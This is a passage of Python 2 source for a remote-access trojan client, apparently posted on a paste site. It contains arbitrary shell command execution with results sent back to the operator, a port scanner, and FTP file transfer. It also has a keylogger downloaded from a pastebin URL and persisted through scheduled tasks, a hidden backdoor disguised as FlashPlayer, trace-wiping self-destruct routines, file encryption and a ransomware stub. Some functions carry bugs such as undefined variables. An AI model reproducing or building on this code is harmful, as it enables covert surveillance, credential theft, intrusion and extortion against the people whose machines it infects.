  709. elif cmd == 'ransom':
  710. results = self.ransom(action)
  711.  
  712. else:
  713. process = subprocess.Popen(data.split(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
  714. results = process.communicate()
  715.  
  716. if results:
  717. with open(self.files.get('log'), 'a') as fp:
  718. fp.write(results)
  719. self._send(results, method=cmd)
  720.  
  721. except Exception as e:
  722. return "Loop error: {}".format(str(e))
  723.  
  724. def get_info(self):
  725. try:
  726. self._send(self.info)
  727. return
  728. except Exception as e:
  729. if self.debug:
  730. with self.lock:
  731. print "Info error: {}".format(str(e))
  732. return
  733.  
  734. def scan(self, host):
  735. """Port scanner"""
  736. if not utils.is_ipv4_address(host):
  737. return 'Error: Invalid IP address'
  738. self.port_scans.update({str(host):{'ports':{}}})
  739. for port in [21,22,23,25,53,80,110,111,135,139,143,179,443,445,514,993,995,1433,1434,1723,3306,3389,8000,8008,8443,8888]:
  740. t = Thread(target=self._scan, args=(host,port))
  741. t.daemon = True
  742. t.start()
  743. t.join()
  744. return
  745.  
  746. def upload(self, host=None, user=None, password=None, local_file=None, remote_file=None):
  747. if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
  748. return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
  749. try:
  750. server = FTP(host, user, password)
  751. server.storbinary('STOR ' + remote_file, open(local_file,'rb'))
  752. return 'Upload was sucessful. File saved to {}'.format(remote_file)
  753. except Exception as e:
  754. return 'Upload failed with error: {}'.format(str(e))
  755.  
  756. def download(self, host=None, user=None, password=None, local_file=None, remote_file=None):
  757. if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
  758. return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
  759. try:
  760. server = FTP(host, user, password)
  761. server.storbinary('RETR ' + remote_file, file(local_file,'wb').write)
  762. return 'Download was sucessful. File saved to {}'.format(os.path.abspath(local_file))
  763. except Exception as e:
  764. return 'Download failed with error: {}'.format(str(e))
  765.  
  766.  
  767. def encrypt_file(self, filename):
  768. """Encrypt a file on client host machine"""
  769. if not os.path.isfile(filename):
  770. return 'Error: ' + filename + ' does not exist in the host filesystem'
  771. filename = os.path.abspath(filename)
  772. try:
  773. with file(filename, 'r') as fp:
  774. with file(filename, 'w') as fc:
  775. fc.write(self._encrypt(fp.read()))
  776. return True
  777. except Exception as e:
  778. if self.debug:
  779. with self.lock:
  780. print "File encryption returned an error: {}".format(str(e))
  781. return False
  782.  
  783. def decrypt_file(self, filename):
  784. """Decrypt a file encrypted by the client on the host machine:"""
  785. if not os.path.isfile(filename):
  786. return 'Error: ' + filename + ' does not exist in the host filesystem'
  787. try:
  788. with file(filename, 'r') as fp:
  789. data = fp.read()
  790. with file(filename, 'w') as fc:
  791. fc.write(self._decrypt(data))
  792. return True
  793. except Exception as e:
  794. if self.debug:
  795. with self.lock:
  796. print "File decryption returned an error: {}".format(str(e))
  797. return False
  798.  
  799. def cat(self, file_path):
  800. """Emulates the UNIX command for Windows compatability with Windows"""
  801. if os.path.isfile(file_path):
  802. try:
  803. with open(file_path) as f:
  804. return f.read(4000)
  805. except IOError:
  806. return 'Error: Permission denied.'
  807. else:
  808. return 'Error: File not found.'
  809.  
  810. def run_cmd(self, *cmd):
  811. """Run a terminal command + arguments."""
  812. if not cmd:
  813. return
  814. p = subprocess.Popen(cmd, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True)
  815. _, __ = p.communicate()
  816. return
  817.  
  818. def execute(self, filename):
  819. """Run a program in a new process without waiting for process to complete. Similar to double-clicking an application icon."""
  820. try:
  821. p = os.startfile(filename)
  822. return
  823. except Exception as e:
  824. return "Execution error: {}".format(str(e))
  825.  
  826. def ls(self, path='.'):
  827. """Emulates the UNIX command for Windows compatability with Windows"""
  828. if os.path.exists(path):
  829. try:
  830. return '\n'.join(os.listdir(path))
  831. except OSError:
  832. return 'Error: Permission denied.'
  833. else:
  834. return 'Error: Path not found.'
  835.  
  836. def pwd(self):
  837. """Emulates the UNIX command for Windows compatability with Windows"""
  838. return os.getcwd()
  839.  
  840. def destruct(self):
  841. """Purges host machine of any trace of the client (hidden files, registry keys, backdoors, etc.)"""
  842. # Backdoors
  843. for bd in self.backdoors:
  844. try:
  845. self._remove_backdoors()
  846. except Exception as z:
  847. if self.debug:
  848. with self.lock:
  849. print "Backdoor-destruct error: {}".format(str(z))
  850. # Files
  851. for k in self.files.keys():
  852. for f in self.files.get(k):
  853. if os.path.isfile(f):
  854. try:
  855. os.remove(f)
  856. except Exception as e:
  857. if self.debug:
  858. with self.lock:
  859. print "File-destruct error: {}".format(str(e))
  860. # Hidden files
  861. for h in self.persistence.get('hidden files'):
  862. try:
  863. os.remove(h)
  864. except Exception as c:
  865. if self.debug:
  866. with self.lock:
  867. print "Hidden file destruct error: {}".format(str(c))
  868. # Registry keys
  869. if os.name == 'nt':
  870. try:
  871. self._purge_regkeys()
  872. except Exception as v:
  873. if self.debug:
  874. with self.lock:
  875. print "Registry key destruct error: {}".format(str(v))
  876. # Scheduled tasks
  877. if os.name == 'nt':
  878. try:
  879. self._unschedule_tasks()
  880. except Exception as sc:
  881. if self.debug:
  882. with self.lock:
  883. print "Schedule tasks destruct error: {}".format(str(sc))
  884. # Launch agents
  885. if sys.platform.startswith('darwin'):
  886. for agent in self.persistence.get('launch agents'):
  887. try:
  888. os.remove(agent)
  889. except Exception as xc:
  890. if self.debug:
  891. with self.lock:
  892. print "Launch agent destruct error: {}".format(str(x))
  893. # Cache
  894. for i in self.files.get('cache'):
  895. if os.path.isfile(i):
  896. try:
  897. os.remove(i)
  898. except Exception as t:
  899. if self.debug:
  900. with self.lock:
  901. print "Cache file destruct error: {}".format(str(t))
  902.  
  903. elif os.path.isdir(i):
  904. if not os.name=='nt':
  905. try:
  906. r = subprocess.check_output(['rm','-rf',i],shell=True)
  907. except Exception as er:
  908. if self.debug:
  909. with self.lock:
  910. print "Posix directory tree directory destruct error: {}".format(str(er))
  911. else:
  912. try:
  913. r = subprocess.Popen(['rmdir','/s','/q',i],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  914. except Exception as p:
  915. if self.debug:
  916. with self.lock:
  917. print "Windows directory tree destruct error: {}".format(str(p))
  918. # Client
  919. try:
  920. os.remove(sys.argv[0])
  921. except Exception as ere:
  922. if self.debug:
  923. with self.lock:
  924. print 'Self-destruct error'
  925. exit()
  926.  
  927. def wget(self, url, path=None):
  928. """Emulates the UNIX command for Windows compatability with Windows"""
  929. if not url.startswith('http'):
  930. return 'Error: URL must begin with http:// or https:// '
  931. try:
  932. fp, _ = urlretrieve(url, path)
  933. return fp
  934. except Exception as e:
  935. if self.debug:
  936. with self.lock:
  937. print "Wget download for URL '{}' failed with error: {}".format(str(e))
  938. if path:
  939. print path
  940.  
  941. def keylogger(self, *args):
  942. """Drops a persistent, stealthy keylogger on client host machine.
  943. Commands: start, run, stop, status"""
  944. if action not in ("start","status","stop"):
  945. return "usage: keylogger <start/status/stop>"
  946. if os.name == 'nt':
  947. if 'start' in args:
  948. if not len(self.files.get('keylogger')):
  949. kname = self._temp()
  950. bname = self._temp()
  951. path = os.environ.get('TEMP', failobj=os.getcwd())
  952. kfile = path + os.sep + kname + '.py'
  953. bfile = path + os.sep + bname + '.bat'
  954. interval = 'hourly'
  955. batch = "@ECHO OFF\r\nstart /D __PATH__ /B __KNAME__".replace('__PATH__',path).replace('__KNAME__',kname)
  956. try:
  957. kl, _ = urlretrieve('http://pastebin.com/raw/yk6tzNL7', kfile)
  958. self.files.update({'keylogger':kl})
  959.  
  960. with file(bfile, 'w') as f:
  961. f.write(batch)
  962.  
  963. self.files.get('cache').append(bfile)
  964. create = os.popen('schtasks /CREATE /TN ' + bname + ' /TR ' + bfile + ' /SC ' + interval).read()
  965.  
  966. if 'SUCCESS' in create:
  967. self.persistence.get('scheduled tasks').append(bname)
  968. t = Timer(5.0, target=self._run_keylogger)
  969. t.daemon = True
  970. t.start()
  971. return 'Keylogger is now running'
  972. else:
  973. return create
  974.  
  975. except Exception as x:
  976. return 'Start keylogger failed with error: {}'.format(str(x))
  977.  
  978. elif 'stop' in args:
  979. try:
  980. d = os.popen('schtasks /delete /tn ' + self.files.get('keylogger') + ' /f').read()
  981. os.remove(self.files.get('keylogger'))
  982. return d
  983. except Exception as e:
  984. return 'Stop keylogger failed with error: {}'.format(str(e))
  985.  
  986. elif 'status' in args:
  987. try:
  988. status = os.popen('schtasks /query /tn ' + self.files.get('keylogger')).read()
  989. return status
  990. except Exception as z:
  991. return "Status check keylogger failed with error: {}".format(str(e))
  992. else:
  993. return "Invalid command"
  994. else:
  995. ans = "Mac OS X not yet supported for remote logging." if sys.platform.startswith('darwin') else "{}-based platforms not yet supported for remote logging".format(sys.platform.title())
  996. return ans
  997.  
  998. def lan(self):
  999. """Display map of local area network"""
  1000. return self._lan(mode=True)
  1001.  
  1002. def backdoor(self, app='FlashPlayer'):
  1003. """Embeds hidden backdoors into the host machine filesystem"""
  1004. try:
  1005. t = Thread(target=self._backdoor, kwargs={'appname':app})
  1006. t.daemon = True
  1007. t.start()
  1008. t.join()
  1009. return str('\nPersistent backdoor saved to {}\nListening for incoming connection on port {}\n'.format(str(self.backdoors.values()), str(self.listener_port)))
  1010. except Exception as e:
  1011. if self.debug:
  1012. with self.lock:
  1013. print "Backdoor commmand failed with error: {}".format(str(e))
  1014. return
  1015.  
  1016. def update(self, **kwargs):
  1017. """Update the eggplant"""
  1018. n = kwargs.get('name') if kwargs.has_key('name') else 'flashplayerinstaller'
  1019. v = kwargs.get('version') if kwargs.has_key('version') else '27.0.0.170'
  1020. if kwargs.has_key('executable'):
  1021. try:
  1022. _ = self._update(n, kwargs.get('executable'), v)
  1023. except Exception as e:
  1024. if self.debug:
  1025. with self.lock:
  1026. print "Update failed with error: {}".format(str(e))
  1027. return
  1028. else:
  1029. try:
  1030. if os.name == 'nt':
  1031. _ = self._update(n, n+'.exe', v)
  1032. elif sys.platform.startswith('darwin'):
  1033. _ = self._update(n, n, v)
  1034. else:
  1035. _ = self._update(n, n+'.sh', v)
  1036. except Exception as e:
  1037. if self.debug:
  1038. with self.lock:
  1039. print "Backdoor commmand failed with error: {}".format(str(e))
  1040. return
  1041.  
  1042. def query(self, query):
  1043. """Send prepared queries"""
  1044. try:
  1045. queries = {'fname':"SELECT self.fname FROM clients WHERE uid='{}'".format(self.mac),
  1046. 'fpath':"UPDATE clients SET fpath=concat(fpath,'{}'), WHERE uid='{}'".format(self.fname, self.mac),
  1047. 'lan':"UPDATE clients SET local_network='{}' WHERE uid='{}'".format(self.local_network, self.mac)}
  1048. output = str()
  1049. if queries.has_key(query):
  1050. stmt = queries.get(query)
  1051. t = Thread(target=self._query, args=(stmt,), kwargs={'method':str(query)})
  1052. t.daemon = True
  1053. t.start()
  1054. else:
  1055. t = Thread(target=self._query, args=(query,), kwargs={'method':'QUERY'})
  1056. t.daemon = True
  1057. t.start()
  1058. t.join()
  1059. try:
  1060. output = self.q.get()
  1061. except:
  1062. output = 'Query completed - returned no output'
  1063. return output
  1064. except Exception as e:
  1065. return "Query error: {}".format(str(e))
  1066.  
  1067. def ransom(self, mode=None):
  1068. """Ransom client data"""
  1069. if mode:
  1070. return 'coming soon'
  1071. else:
  1072. return 'still coming soon'
  1073. if os.path.exists(path):
  1074. tree = os.walk(os.path.abspath(path))
  1075. while True:
  1076. try:
  1077. self.targets.extend([os.path.abspath(i) for i in next(tree)[2]])
  1078. except StopIteration:
  1079. break
  1080. max_wait = float(len(self.targets)/10)
  1081. for target in self.targets:
  1082. self.q.put(target)
  1083. t_count = int(max_wait/10.0) if int(max_wait/10.0) < 101 else 100
  1084. for x in xrange(0,t_count):
  1085. t = Thread(target=self._ransom_threader)
  1086. t.daemon = True
  1087. t.start()
  1088. t.join(timeout=max_wait)
  1089. return '\n'.join([i for i in set(self.ransomed)])
  1090.  
  1091. ### end eggplant factory object ###
Add Comment
Please, Sign In to add comment